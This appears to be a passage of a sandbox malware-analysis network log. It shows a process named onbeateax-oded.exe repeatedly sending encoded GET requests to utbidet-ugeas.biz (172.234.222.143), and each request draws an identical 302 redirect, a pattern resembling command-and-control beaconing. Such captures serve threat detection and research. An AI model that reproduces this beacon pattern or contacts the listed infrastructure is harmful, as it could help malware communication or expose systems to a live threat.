Sep 7, 2024 15:30:28.551011086 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:30:28 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?023F0116D33F0116D30E013AD33F01B449FD278AD53E01D67B3D0620FD0D2F2FE10F3138D3 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.7	49793	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:30:30.895234108 CEST	169	OUT	GET /d/N?028CF135738CF13573BDF119738CF197E94ED7A9758DF1F5DB8EF6035DBEDF0C41BCC11B73 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:30:31.378427982 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:30:31 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?028CF135738CF13573BDF119738CF197E94ED7A9758DF1F5DB8EF6035DBEDF0C41BCC11B73 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.7	49794	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:30:31.387440920 CEST	201	OUT	GET /d/N?028CF135738CF13573BDF119738CF197E94ED7A9758DF1F5DB8EF6035DBEDF0C41BCC11B73 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:30:31.901859999 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:30:31 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?028CF135738CF13573BDF119738CF197E94ED7A9758DF1F5DB8EF6035DBEDF0C41BCC11B73 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.7	49796	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:30:32.074654102 CEST	169	OUT	GET /d/N?025BABD2DB5BABD2DB6AABFEDB5BAB7041998D4EDD5AAB127359ACE4F56985EBE96B9BFCDB HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:30:32.563839912 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:30:32 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?025BABD2DB5BABD2DB6AABFEDB5BAB7041998D4EDD5AAB127359ACE4F56985EBE96B9BFCDB Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.7	49797	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:30:32.571053982 CEST	201	OUT	GET /d/N?025BABD2DB5BABD2DB6AABFEDB5BAB7041998D4EDD5AAB127359ACE4F56985EBE96B9BFCDB HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:30:33.098201990 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:30:33 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?025BABD2DB5BABD2DB6AABFEDB5BAB7041998D4EDD5AAB127359ACE4F56985EBE96B9BFCDB Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.7	55211	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:30:36.592180014 CEST	169	OUT	GET /d/N?022ED228B82ED228B81FD204B82ED28A22ECF4B4BE2FD2E8102CD51E961CFC118A1EE206B8 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:30:37.080840111 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:30:37 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?022ED228B82ED228B81FD204B82ED28A22ECF4B4BE2FD2E8102CD51E961CFC118A1EE206B8 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.7	55212	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:30:37.088207006 CEST	201	OUT	GET /d/N?022ED228B82ED228B81FD204B82ED28A22ECF4B4BE2FD2E8102CD51E961CFC118A1EE206B8 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:30:37.573753119 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:30:37 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?022ED228B82ED228B81FD204B82ED28A22ECF4B4BE2FD2E8102CD51E961CFC118A1EE206B8 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.7	55214	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:30:37.739172935 CEST	169	OUT	GET /d/N?02C6D83DD8C6D83DD8F7D811D8C6D89F4204FEA1DEC7D8FD70C4DF0BF6F4F604EAF6E813D8 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:30:38.239845991 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:30:38 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02C6D83DD8C6D83DD8F7D811D8C6D89F4204FEA1DEC7D8FD70C4DF0BF6F4F604EAF6E813D8 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.7	55215	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:30:38.250509977 CEST	201	OUT	GET /d/N?02C6D83DD8C6D83DD8F7D811D8C6D89F4204FEA1DEC7D8FD70C4DF0BF6F4F604EAF6E813D8 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:30:38.763783932 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:30:38 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02C6D83DD8C6D83DD8F7D811D8C6D89F4204FEA1DEC7D8FD70C4DF0BF6F4F604EAF6E813D8 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.7	55217	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:30:39.067334890 CEST	169	OUT	GET /d/N?020F23C7C50F23C7C53E23EBC50F23655FCD055BC30E23076D0D24F1EB3D0DFEF73F13E9C5 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:30:39.576826096 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:30:39 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?020F23C7C50F23C7C53E23EBC50F23655FCD055BC30E23076D0D24F1EB3D0DFEF73F13E9C5 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.7	55218	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:30:39.586772919 CEST	201	OUT	GET /d/N?020F23C7C50F23C7C53E23EBC50F23655FCD055BC30E23076D0D24F1EB3D0DFEF73F13E9C5 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:30:40.072678089 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:30:40 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?020F23C7C50F23C7C53E23EBC50F23655FCD055BC30E23076D0D24F1EB3D0DFEF73F13E9C5 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.7	55220	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:30:42.847508907 CEST	169	OUT	GET /d/N?0292352EFD92352EFDA33502FD92358C675013B2FB9335EE55903218D3A01B17CFA20500FD HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:30:43.372328043 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:30:43 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0292352EFD92352EFDA33502FD92358C675013B2FB9335EE55903218D3A01B17CFA20500FD Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.7	55221	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:30:43.379944086 CEST	201	OUT	GET /d/N?0292352EFD92352EFDA33502FD92358C675013B2FB9335EE55903218D3A01B17CFA20500FD HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:30:43.886985064 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:30:43 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0292352EFD92352EFDA33502FD92358C675013B2FB9335EE55903218D3A01B17CFA20500FD Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.7	55223	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:30:47.270293951 CEST	169	OUT	GET /d/N?025A462F125A462F126B4603125A468D889860B3145B46EFBA5841193C686816206A760112 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:30:47.749255896 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:30:47 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?025A462F125A462F126B4603125A468D889860B3145B46EFBA5841193C686816206A760112 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.7	55224	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:30:47.768455982 CEST	201	OUT	GET /d/N?025A462F125A462F126B4603125A468D889860B3145B46EFBA5841193C686816206A760112 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:30:48.279124022 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:30:48 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?025A462F125A462F126B4603125A468D889860B3145B46EFBA5841193C686816206A760112 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.7	55226	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:30:51.338114023 CEST	169	OUT	GET /d/N?02F44EAE6CF44EAE6CC54E826CF44E0CF63668326AF54E6EC4F6499842C660975EC47E806C HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:30:51.853977919 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:30:51 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02F44EAE6CF44EAE6CC54E826CF44E0CF63668326AF54E6EC4F6499842C660975EC47E806C Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.7	55227	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:30:51.862004995 CEST	201	OUT	GET /d/N?02F44EAE6CF44EAE6CC54E826CF44E0CF63668326AF54E6EC4F6499842C660975EC47E806C HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
